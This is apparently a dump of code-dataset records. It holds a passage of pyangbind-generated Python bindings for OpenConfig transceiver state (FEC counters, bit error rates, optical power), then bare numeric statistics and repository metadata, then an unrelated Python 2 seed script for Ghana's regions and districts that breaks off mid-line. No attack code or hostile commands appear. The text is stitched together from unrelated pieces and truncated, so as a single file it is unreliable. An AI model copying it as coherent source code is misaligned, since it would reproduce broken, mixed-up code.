'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__fec_status = t if hasattr(self, '_set'): self._set() def _unset_fec_status(self): self.__fec_status = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_LOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}, 'oc-platform-types:FEC_STATUS_UNLOCKED': {'@module': 'openconfig-platform-types', '@namespace': 'http://openconfig.net/yang/platform-types'}},), is_leaf=True, yang_name="fec-status", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_fec_uncorrectable_blocks(self): """ Getter method for fec_uncorrectable_blocks, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_blocks (yang:counter64) YANG Description: The number of blocks that were uncorrectable by the FEC """ return self.__fec_uncorrectable_blocks def _set_fec_uncorrectable_blocks(self, v, load=False): """ Setter method for fec_uncorrectable_blocks, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_blocks (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_uncorrectable_blocks is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_uncorrectable_blocks() directly. YANG Description: The number of blocks that were uncorrectable by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_uncorrectable_blocks must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_uncorrectable_blocks = t if hasattr(self, '_set'): self._set() def _unset_fec_uncorrectable_blocks(self): self.__fec_uncorrectable_blocks = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-blocks", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_uncorrectable_words(self): """ Getter method for fec_uncorrectable_words, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_words (yang:counter64) YANG Description: The number of words that were uncorrectable by the FEC """ return self.__fec_uncorrectable_words def _set_fec_uncorrectable_words(self, v, load=False): """ Setter method for fec_uncorrectable_words, mapped from YANG variable /components/component/transceiver/state/fec_uncorrectable_words (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_uncorrectable_words is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_uncorrectable_words() directly. YANG Description: The number of words that were uncorrectable by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_uncorrectable_words must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_uncorrectable_words = t if hasattr(self, '_set'): self._set() def _unset_fec_uncorrectable_words(self): self.__fec_uncorrectable_words = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-uncorrectable-words", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_corrected_bytes(self): """ Getter method for fec_corrected_bytes, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bytes (yang:counter64) YANG Description: The number of bytes that were corrected by the FEC """ return self.__fec_corrected_bytes def _set_fec_corrected_bytes(self, v, load=False): """ Setter method for fec_corrected_bytes, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bytes (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_corrected_bytes is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_corrected_bytes() directly. YANG Description: The number of bytes that were corrected by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_corrected_bytes must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_corrected_bytes = t if hasattr(self, '_set'): self._set() def _unset_fec_corrected_bytes(self): self.__fec_corrected_bytes = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bytes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_fec_corrected_bits(self): """ Getter method for fec_corrected_bits, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bits (yang:counter64) YANG Description: The number of bits that were corrected by the FEC """ return self.__fec_corrected_bits def _set_fec_corrected_bits(self, v, load=False): """ Setter method for fec_corrected_bits, mapped from YANG variable /components/component/transceiver/state/fec_corrected_bits (yang:counter64) If this variable is read-only (config: false) in the source YANG file, then _set_fec_corrected_bits is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_fec_corrected_bits() directly. YANG Description: The number of bits that were corrected by the FEC """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """fec_corrected_bits must be of a type compatible with yang:counter64""", 'defined-type': "yang:counter64", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False)""", }) self.__fec_corrected_bits = t if hasattr(self, '_set'): self._set() def _unset_fec_corrected_bits(self): self.__fec_corrected_bits = YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..18446744073709551615']}, int_size=64), is_leaf=True, yang_name="fec-corrected-bits", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='yang:counter64', is_config=False) def _get_pre_fec_ber(self): """ Getter method for pre_fec_ber, mapped from YANG variable /components/component/transceiver/state/pre_fec_ber (container) YANG Description: Bit error rate before forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__pre_fec_ber def _set_pre_fec_ber(self, v, load=False): """ Setter method for pre_fec_ber, mapped from YANG variable /components/component/transceiver/state/pre_fec_ber (container) If this variable is read-only (config: false) in the source YANG file, then _set_pre_fec_ber is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_pre_fec_ber() directly. YANG Description: Bit error rate before forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """pre_fec_ber must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__pre_fec_ber = t if hasattr(self, '_set'): self._set() def _unset_pre_fec_ber(self): self.__pre_fec_ber = YANGDynClass(base=pre_fec_ber.pre_fec_ber, is_container='container', yang_name="pre-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_post_fec_ber(self): """ Getter method for post_fec_ber, mapped from YANG variable /components/component/transceiver/state/post_fec_ber (container) YANG Description: Bit error rate after forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__post_fec_ber def _set_post_fec_ber(self, v, load=False): """ Setter method for post_fec_ber, mapped from YANG variable /components/component/transceiver/state/post_fec_ber (container) If this variable is read-only (config: false) in the source YANG file, then _set_post_fec_ber is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_post_fec_ber() directly. YANG Description: Bit error rate after forward error correction -- computed value with 18 decimal precision. Note that decimal64 supports values as small as i x 10^-18 where i is an integer. Values smaller than this should be reported as 0 to inidicate error free or near error free performance. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """post_fec_ber must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__post_fec_ber = t if hasattr(self, '_set'): self._set() def _unset_post_fec_ber(self): self.__post_fec_ber = YANGDynClass(base=post_fec_ber.post_fec_ber, is_container='container', yang_name="post-fec-ber", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_output_power(self): """ Getter method for output_power, mapped from YANG variable /components/component/transceiver/state/output_power (container) YANG Description: The output optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__output_power def _set_output_power(self, v, load=False): """ Setter method for output_power, mapped from YANG variable /components/component/transceiver/state/output_power (container) If this variable is read-only (config: false) in the source YANG file, then _set_output_power is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_output_power() directly. YANG Description: The output optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """output_power must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__output_power = t if hasattr(self, '_set'): self._set() def _unset_output_power(self): self.__output_power = YANGDynClass(base=output_power.output_power, is_container='container', yang_name="output-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_input_power(self): """ Getter method for input_power, mapped from YANG variable /components/component/transceiver/state/input_power (container) YANG Description: The input optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__input_power def _set_input_power(self, v, load=False): """ Setter method for input_power, mapped from YANG variable /components/component/transceiver/state/input_power (container) If this variable is read-only (config: false) in the source YANG file, then _set_input_power is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_input_power() directly. YANG Description: The input optical power of a physical channel in units of 0.01dBm, which may be associated with individual physical channels, or an aggregate of multiple physical channels (i.e., for the overall transceiver). For an aggregate, this may be a measurement from a photodetector or a a calculation performed on the device by summing up all of the related individual physical channels. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """input_power must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__input_power = t if hasattr(self, '_set'): self._set() def _unset_input_power(self): self.__input_power = YANGDynClass(base=input_power.input_power, is_container='container', yang_name="input-power", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) def _get_laser_bias_current(self): """ Getter method for laser_bias_current, mapped from YANG variable /components/component/transceiver/state/laser_bias_current (container) YANG Description: The current applied by the system to the transmit laser to achieve the output power. The current is expressed in mA with up to two decimal precision. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ return self.__laser_bias_current def _set_laser_bias_current(self, v, load=False): """ Setter method for laser_bias_current, mapped from YANG variable /components/component/transceiver/state/laser_bias_current (container) If this variable is read-only (config: false) in the source YANG file, then _set_laser_bias_current is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_laser_bias_current() directly. YANG Description: The current applied by the system to the transmit laser to achieve the output power. The current is expressed in mA with up to two decimal precision. Values include the instantaneous, average, minimum, and maximum statistics. If avg/min/max statistics are not supported, the target is expected to just supply the instant value """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """laser_bias_current must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False)""", }) self.__laser_bias_current = t if hasattr(self, '_set'): self._set() def _unset_laser_bias_current(self): self.__laser_bias_current = YANGDynClass(base=laser_bias_current.laser_bias_current, is_container='container', yang_name="laser-bias-current", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='container', is_config=False) enabled = __builtin__.property(_get_enabled) form_factor_preconf = __builtin__.property(_get_form_factor_preconf) ethernet_pmd_preconf = __builtin__.property(_get_ethernet_pmd_preconf) fec_mode = __builtin__.property(_get_fec_mode) present = __builtin__.property(_get_present) form_factor = __builtin__.property(_get_form_factor) connector_type = __builtin__.property(_get_connector_type) vendor = __builtin__.property(_get_vendor) vendor_part = __builtin__.property(_get_vendor_part) vendor_rev = __builtin__.property(_get_vendor_rev) ethernet_pmd = __builtin__.property(_get_ethernet_pmd) sonet_sdh_compliance_code = __builtin__.property(_get_sonet_sdh_compliance_code) otn_compliance_code = __builtin__.property(_get_otn_compliance_code) serial_no = __builtin__.property(_get_serial_no) date_code = __builtin__.property(_get_date_code) fault_condition = __builtin__.property(_get_fault_condition) fec_status = __builtin__.property(_get_fec_status) fec_uncorrectable_blocks = __builtin__.property(_get_fec_uncorrectable_blocks) fec_uncorrectable_words = __builtin__.property(_get_fec_uncorrectable_words) fec_corrected_bytes = __builtin__.property(_get_fec_corrected_bytes) fec_corrected_bits = __builtin__.property(_get_fec_corrected_bits) pre_fec_ber = __builtin__.property(_get_pre_fec_ber) post_fec_ber = __builtin__.property(_get_post_fec_ber) output_power = __builtin__.property(_get_output_power) input_power = __builtin__.property(_get_input_power) laser_bias_current = __builtin__.property(_get_laser_bias_current) _pyangbind_elements = OrderedDict([('enabled', enabled), ('form_factor_preconf', form_factor_preconf), ('ethernet_pmd_preconf', ethernet_pmd_preconf), ('fec_mode', fec_mode), ('present', present), ('form_factor', form_factor), ('connector_type', connector_type), ('vendor', vendor), ('vendor_part', vendor_part), ('vendor_rev', vendor_rev), ('ethernet_pmd', ethernet_pmd), ('sonet_sdh_compliance_code', sonet_sdh_compliance_code), ('otn_compliance_code', otn_compliance_code), ('serial_no', serial_no), ('date_code', date_code), ('fault_condition', fault_condition), ('fec_status', fec_status), ('fec_uncorrectable_blocks', fec_uncorrectable_blocks), ('fec_uncorrectable_words', fec_uncorrectable_words), ('fec_corrected_bytes', fec_corrected_bytes), ('fec_corrected_bits', fec_corrected_bits), ('pre_fec_ber', pre_fec_ber), ('post_fec_ber', post_fec_ber), ('output_power', output_power), ('input_power', input_power), ('laser_bias_current', laser_bias_current), ])
142.143159
6,361
0.743053
67,696
538,154
5.736439
0.006574
0.14709
0.14641
0.165507
0.998931
0.998373
0.998373
0.998373
0.998373
0.998373
0
0.013083
0.082363
538,154
3,785
6,362
142.180713
0.773288
0.146334
0
0.988953
0
0.050581
0.669001
0.247513
0
0
0
0
0
1
0.139535
false
0
0.018023
0
0.260465
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
702c46afe976ba1ba935c0586b08408ee0d91122
39,067
py
Python
seed.py
nyimbi/caseke
ce4a0fa44cd383bc23900e42f81656f089c8fdd9
[ "MIT" ]
1
2019-06-03T16:20:35.000Z
2019-06-03T16:20:35.000Z
seed.py
nyimbi/caseke
ce4a0fa44cd383bc23900e42f81656f089c8fdd9
[ "MIT" ]
20
2020-01-28T22:02:29.000Z
2022-03-29T22:28:34.000Z
seed.py
nyimbi/caseke
ce4a0fa44cd383bc23900e42f81656f089c8fdd9
[ "MIT" ]
1
2019-06-10T17:20:48.000Z
2019-06-10T17:20:48.000Z
from app import app, models, db from faker import Factory from random import randint, choice db.s = db.session # # print "adding roles" print "creating regions" # # Load up the Regions rg = models.Region() rg.name = 'Ashanti'; rg.capital='Kumasi'; rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Brong Ahafo'; rg.capital='Sunyani'; rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Central'; rg.capital='Cape Coast';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Eastern'; rg.capital='Koforidua';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Greater Accra'; rg.capital='Accra';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Northern'; rg.capital='Tamale';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Upper East'; rg.capital='Bolgatanga';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Upper West'; rg.capital='Wa';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Volta'; rg.capital='Ho';rg.changed_by_fk = 1;rg.created_by_fk = 1; db.s.add(rg) rg = models.Region() rg.name = 'Western'; rg.capital='Sekondi-Takoradi';rg.created_by_fk = 1;rg.changed_by_fk=1; db.s.add(rg) db.s.commit() print "Loading Districts" # Districts # AShanti ds = models.District(); ds.name='Adansi North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Adansi South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Afigya-Kwabre District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Ahafo Ano North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Ahafo Ano South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Amansie Central District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Amansie West District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Asante Akim Central Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Asante Akim North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Asante Akim South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Asokore Mampong Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Atwima Kwanwoma District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Atwima Mponua District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Atwima Nwabiagya District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Bekwai Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Bosome Freho District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Botsomtwe District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Ejisu-Juaben Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Ejura - Sekyedumase District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Kumasi Metropolitan District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Kumawu District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Kwabre East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Mampong Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Obuasi Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Offinso North District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Offinso South Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Sekyere Afram Plains District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Sekyere Central District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Sekyere East District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); ds = models.District(); ds.name='Sekyere South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 1;db.s.add(ds); db.s.commit() # Brong Ahafo ds = models.District(); ds.name='Asunafo North Municipal District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Asunafo South District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Asutifi District'; ds.created_by_fk=1; ds.changed_by_fk=1; ds.region_fk = 2;db.s.add(ds); ds = models.District(); ds.name='Asutifi South District'; ds.created_by_fk=1; 